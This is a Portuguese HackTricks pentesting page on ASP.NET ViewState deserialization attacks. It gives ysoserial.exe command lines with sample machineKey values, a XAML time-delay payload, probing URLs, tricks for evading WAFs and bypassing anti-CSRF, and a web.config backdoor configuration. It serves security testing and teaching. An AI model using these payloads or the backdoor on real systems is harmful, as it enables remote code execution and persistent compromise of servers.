hacktricks/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md
2023-06-06 18:56:34 +00:00

23 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

O conteúdo deste post foi extraído de https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

Introdução

As aplicações web ASP.NET usam o ViewState para manter o estado de uma página e persistir dados em um formulário web.

Normalmente, é possível executar código em um servidor web onde um ViewState válido pode ser forjado. Isso pode ser feito quando a funcionalidade de validação MAC foi desativada ou conhecendo:

  • Chave de validação e seu algoritmo antes da versão do .NET Framework 4.5
  • Chave de validação, algoritmo de validação, chave de descriptografia e algoritmo de descriptografia na versão do .NET Framework 4.5 ou superior

Para evitar ataques de manipulação, o .NET Framework pode assinar e criptografar o ViewState que foi serializado usando a classe LosFormatter. Em seguida, verifica a assinatura usando o mecanismo de validação de código de autenticação de mensagem (MAC). A classe ObjectStateFormatter realiza as tarefas de assinatura, criptografia e verificação. As chaves necessárias para executar o mecanismo de assinatura e/ou criptografia podem ser armazenadas na seção machineKey dos arquivos web.config (nível de aplicativo) ou machine.config (nível de máquina). Isso é normalmente o caso quando vários servidores web são usados para servir a mesma aplicação, muitas vezes atrás de um balanceador de carga em uma fazenda ou cluster da Web. O seguinte mostra o formato da seção machineKey em um arquivo de configuração de uma aplicação ASP.NET que usa a versão do .NET Framework 2.0 ou superior:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"  />

É importante notar que quando a seção machineKey não foi definida nos arquivos de configuração ou quando os atributos validationKey e decryptionKey foram definidos como AutoGenerate, a aplicação gera os valores necessários dinamicamente com base em um segredo criptograficamente aleatório. Os algoritmos também podem ser selecionados automaticamente. Atualmente, na versão mais recente do .NET Framework, o algoritmo de validação padrão é HMACSHA256 e o algoritmo de descriptografia padrão é AES. Consulte [13] para mais detalhes.

RCE com validação de ViewState MAC desativada

No passado, era possível desativar a validação do MAC simplesmente definindo a propriedade enableViewStateMac como False. A Microsoft lançou um patch em setembro de 2014 [3] para impor a validação do MAC, ignorando essa propriedade em todas as versões do .NET Framework. Embora alguns de nós possam acreditar que "o ViewState MAC não pode mais ser desativado" [4], ainda é possível desativar a função de validação do MAC definindo a chave do registro AspNetEnforceViewStateMac como zero em:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Alternativamente, adicionar a seguinte configuração perigosa ao arquivo web.config de nível de aplicativo pode desativar a validação MAC também:

<configuration>
…
    <appSettings>
      <add key="aspnet:AllowInsecureDeserialization" value="true" />
    </appSettings>
</configuration>

{% hint style="danger" %} Quando a validação MAC do ViewState foi desativada, o projeto YSoSerial.Net pode ser usado para gerar payloads LosFormatter como o ViewState para executar código arbitrário no servidor. {% endhint %}

Antes da versão do .NET Framework 4.5, o parâmetro __VIEWSTATE poderia ser criptografado enquanto a validação MAC estava desativada. Deve-se notar que a maioria dos scanners não tenta enviar um parâmetro ViewState não criptografado para identificar essa vulnerabilidade. Como resultado, é necessário fazer testes manuais para verificar se a validação MAC está desativada quando o parâmetro __VIEWSTATE foi criptografado. Isso pode ser verificado enviando uma pequena string aleatória em base64 no parâmetro __VIEWSTATE. A URL a seguir mostra um exemplo:

https://victim.com/path/page.aspx?__VIEWSTATE=AAAA

Se a página alvo responder com um erro, a validação MAC foi desativada, caso contrário, teria suprimido a mensagem de erro de validação MAC.
No entanto, em cenários em que você não pode ver a mensagem de erro, esse truque não funcionará.

Os scanners automatizados devem usar uma carga útil que cause um curto atraso no lado do servidor. Isso pode ser alcançado executando o seguinte código ASP.NET, por exemplo, para criar um atraso de 10 segundos:

System.Threading.Thread.Sleep(10000);
string xaml_payload = @"<ResourceDictionary
  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
  xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  xmlns:System=""clr-namespace:System;assembly=mscorlib""
  xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
     <ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
     <ObjectDataProvider.MethodParameters>
        <System:Int32>10000</System:Int32>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";

RCE com Validação de MAC ViewState ativada

Em versões mais antigas (anteriores à 4.5), o Framework .NET usa a propriedade TemplateSourceDirectory [15] ao assinar um objeto serializado. Desde a versão 4.5, no entanto, ele usa as strings Purpose para criar o hash. Ambos os mecanismos exigem o caminho de destino a partir do diretório raiz do aplicativo e o nome da página. Esses parâmetros podem ser extraídos da URL.

Aplicações que usam um framework mais antigo e impõem a criptografia do ViewState ainda podem aceitar um ViewState assinado sem criptografia. Isso significa que conhecer a chave de validação e seu algoritmo é suficiente para explorar um site. Parece que o ViewState é criptografado por padrão desde a versão 4.5, mesmo quando a propriedade viewStateEncryptionMode foi definida como Never. Isso significa que nas últimas versões do Framework .NET, a chave de descriptografia e seu algoritmo também são necessários para criar um payload.

O ViewState ASP.NET contém uma propriedade chamada ViewStateUserKey [16] que pode ser usada para mitigar os riscos de ataques de falsificação de solicitação entre sites (CSRF) [4]. O valor da propriedade ViewStateUserKey (quando não é null) também é usado durante o processo de assinatura do ViewState. Embora não conhecer o valor desse parâmetro possa interromper nosso ataque, seu valor geralmente pode ser encontrado nos cookies ou em um parâmetro de entrada oculto ([17] mostra um exemplo implementado).

Plugins ViewState YSoSerial.Net

No YSoSerial.Net master e no YSoSerial.Netv2, você pode encontrar um plugin (este e este) para explorar essa técnica quando todas as informações são conhecidas.

Para o Framework .NET >= 4.5:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Para .NET Framework <= 4.0 (legado):

A chave de descriptografia e seu algoritmo não são necessários aqui:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug

Além de usar diferentes gadgets, é possível usar o parâmetro __VIEWSTATEGENERATOR em vez de fornecer os caminhos:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Por padrão, ele usa o gadget ActivitySurrogateSelector que requer a compilação da classe ExploitClass.cs no projeto YSoSerial.Net. A carga útil do ViewState também pode ser criptografada para evitar os WAFs quando o valor decryptionKey é conhecido:

.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

{% hint style="info" %} Nota: Devido à natureza dos gadgets usados no YSoSerial.Net, a página ASP.NET alvo sempre responde com um erro, mesmo quando um exploit foi executado com sucesso no lado do servidor. {% endhint %}

Caminho da aplicação

É importante encontrar a raiz do caminho da aplicação para criar um ViewState válido, a menos que:

  • A aplicação use a versão do .NET Framework 4.0 ou abaixo; e
  • O parâmetro __VIEWSTATEGENERATOR seja conhecido.

A seguinte captura de tela mostra a árvore de caminhos no IIS:

Você pode verificar [20] se não estiver familiarizado com os termos de diretório virtual e aplicação no IIS.

Para gerar um ViewState para a URL acima, os argumentos --path e --apppath devem ser os seguintes:

--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/ 

Se não soubéssemos que "app2" era um nome de aplicativo, poderíamos usar tentativa e erro para testar todos os nomes de diretório na URL um por um até encontrar um ViewState que possa executar código no servidor (talvez obtendo uma solicitação DNS ou causando um atraso).

Gerador

Nesse caso, o argumento --generator pode ser usado. O argumento --isdebug pode ser usado para verificar se o plugin também calcula o mesmo parâmetro __VIEWSTATEGENERATOR quando os argumentos --path e --apppath foram fornecidos.

Explorando versões mais antigas

Nenhum gadget foi identificado para explorar o .NET Framework v1.1 no momento em que este post foi escrito.

Para explorar aplicativos que usam o .NET Framework v4.0 ou abaixo, pode ser usado o ramo YSoSerial.Net v2.0 [21] (originalmente desenvolvido como parte de outra pesquisa [22]). No entanto, este projeto suporta apenas um número limitado de gadgets e também requer que a caixa de destino tenha o .NET Framework 3.5 ou superior instalado.

Outras ferramentas

Parece que o Immunity Canvas suporta a criação do parâmetro ViewState quando as chaves de validação e criptografia são conhecidas [29]. As seguintes ferramentas também foram lançadas coincidentemente na mesma época em que eu estava prestes a publicar meu trabalho, o que foi bastante surpreendente:

Acredito que essas ferramentas atualmente não diferenciam entre diferentes versões do Framework .NET e visam a criptografia legada. Além disso, eles não usam o parâmetro ViewStateUserKey que pode estar em uso para impedir ataques CSRF.

Dicas adicionais

Usando solicitações GET

Também é possível enviar o parâmetro __VIEWSTATE na URL por meio de uma solicitação GET. O único fator limitante é o comprimento da URL que limita o tipo de gadgets que podem ser usados aqui.

Criptografia no Framework .NET anterior à versão 4.5

Como mencionado anteriormente, o parâmetro __VIEWSTATE não precisa ser criptografado ao explorar o Framework .NET 4.0 e abaixo (testado na versão 2.0 até a versão 4.0), mesmo quando a propriedade ViewStateEncryptionMode foi definida como Always. O ASP.NET decide se o ViewState foi criptografado ou não, encontrando o parâmetro __VIEWSTATEENCRYPTED na solicitação (não precisa ter nenhum valor). Portanto, é possível enviar um ViewState não criptografado removendo o parâmetro __VIEWSTATEENCRYPTED da solicitação.

Isso também significa que a alteração da chave de descriptografia ou seu algoritmo não pode impedir os ataques quando a chave de validação e seu algoritmo foram roubados.

O parâmetro __VIEWSTATE pode ser criptografado para contornar quaisquer WAFs.

Contornando o mecanismo anti-CSRF (anti-XSRF)

Uma página ASP.NET produz um erro quando um parâmetro __VIEWSTATE inválido é usado. No entanto, a página ainda pode receber suas entradas quando Request.Form é usado diretamente no código, por exemplo, usando Request.Form["txtMyInput"] em vez de txtMyInput.Text. O ataque CSRF pode ser realizado removendo o parâmetro __VIEWSTATE da solicitação ou adicionando o parâmetro __PREVIOUSPAGE com um valor inválido. Como o parâmetro __PREVIOUSPAGE é criptografado e formatado em base64 por padrão, mesmo fornecer um único caractere como seu valor deve causar um erro.

Isso pode resultar em contornar o mecanismo de proteção anti-CSRF que foi implementado definindo o parâmetro Page.ViewStateUserKey.

Uso do parâmetro ViewStateGenerator

Quando o parâmetro __VIEWSTATEGENERATOR é conhecido, ele pode ser usado para os aplicativos ASP.NET que usam a versão 4.0 ou abaixo do Framework .NET para assinar um objeto serializado sem conhecer o caminho do aplicativo.

Divisão do ViewState para contornar WAFs

É possível dividir o parâmetro __VIEWSTATE em várias partes quando a propriedade MaxPageStateFieldLength foi definida como um valor positivo. Seu valor padrão é negativo e significa que o parâmetro __VIEWSTATE não pode ser dividido em várias partes.

Isso pode ser útil para contornar alguns WAFs quando a divisão do ViewState é permitida.

Explorando o parâmetro EventValidation

O parâmetro __EVENTVALIDATION e alguns outros parâmetros também são serializados de forma semelhante ao parâmetro __VIEWSTATE e podem ser direcionados da mesma forma. Explorar um problema de desserialização via __EVENTVALIDATION é mais restrito e requer:

  • Uma solicitação POST
  • Uma página ASP.NET que aceita parâmetros de entrada
  • Um nome de parâmetro de entrada válido. Por exemplo, o parâmetro myinput na solicitação POST quando temos o seguinte código no lado do servidor:
<asp:TextBox runat="server" ID="myinput" />

O valor do parâmetro __VIEWSTATE pode estar vazio na solicitação ao explorar o parâmetro __EVENTVALIDATION, mas ele precisa existir.

A string Purpose usada pelo .NET Framework 4.5 e superior para criar uma assinatura válida é diferente com base no parâmetro usado. A tabela a seguir mostra as strings Purpose definidas no .NET Framework:

Parâmetro de entrada String Purpose
“__VIEWSTATE” WebForms.HiddenFieldPageStatePersister.ClientState
“__EVENTVALIDATION” WebForms.ClientScriptManager.EventValidation
P2 em P1|P2 em “__dv” + ClientID + “__hidden” WebForms.DetailsView.KeyTable
P4 em P1|P2|P3|P4 em “__CALLBACKPARAM” WebForms.DetailsView.KeyTable
P3 em P1|P2|P3|P4 em “__gv” + ClientID + “__hidden” WebForms.GridView.SortExpression
P4 em P1|P2|P3|P4 em “__gv” + ClientID + “__hidden” WebForms.GridView.DataKeys

A tabela acima mostra todos os parâmetros de entrada que podem ser visados.

Cuidado com o parâmetro PreviousPage

Quando o parâmetro __PREVIOUSPAGE existe na solicitação com dados inválidos, a aplicação não desserializa o parâmetro __VIEWSTATE. Fornecer o parâmetro __CALLBACKID impede esse comportamento.

Confiabilidade de erros

Como explicado anteriormente, às vezes usamos erros para verificar se um ViewState gerado é válido. O ASP.NET não mostra o erro de validação MAC por padrão quando um parâmetro __VIEWSTATEGENERATOR inválido é usado. Esse comportamento muda quando a propriedade ViewStateUserKey é usada, pois o ASP.NET não suprime mais os erros de validação MAC.

Além disso, as aplicações web ASP.NET podem ignorar os erros de validação MAC com a seguinte configuração, mesmo quando a propriedade ViewStateUserKey é usada:

<appSettings>
      <add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>

Web.config como uma porta dos fundos

Se os atacantes puderem alterar o arquivo web.config na raiz de uma aplicação, eles podem executar facilmente código no servidor. No entanto, incorporar uma porta dos fundos furtiva na aplicação pode ser uma boa escolha para um atacante. Isso pode ser feito desabilitando a validação MAC e definindo a propriedade viewStateEncryptionMode como Always. Isso significa que todas as páginas ASP.NET que não definem a propriedade ViewStateEncryptionMode como Auto ou Never sempre usam parâmetros ViewState criptografados. No entanto, como o ViewState não usa o recurso de validação MAC, eles agora estão vulneráveis à execução remota de código por meio da desserialização de dados não confiáveis. O seguinte mostra um exemplo:

<configuration>
…
    <system.web>
…
        <pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
    </system.web>
    <appSettings>
        <add key="aspnet:AllowInsecureDeserialization" value="false" />
    </appSettings>
</configuration>

Outra opção para um site independente seria definir a seção machineKey com chaves e algoritmos arbitrários para impedir outros atacantes!

Deve-se notar que definir a propriedade EnableViewState como False não impede esse ataque, pois o ViewState ainda será analisado pelo ASP.NET.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥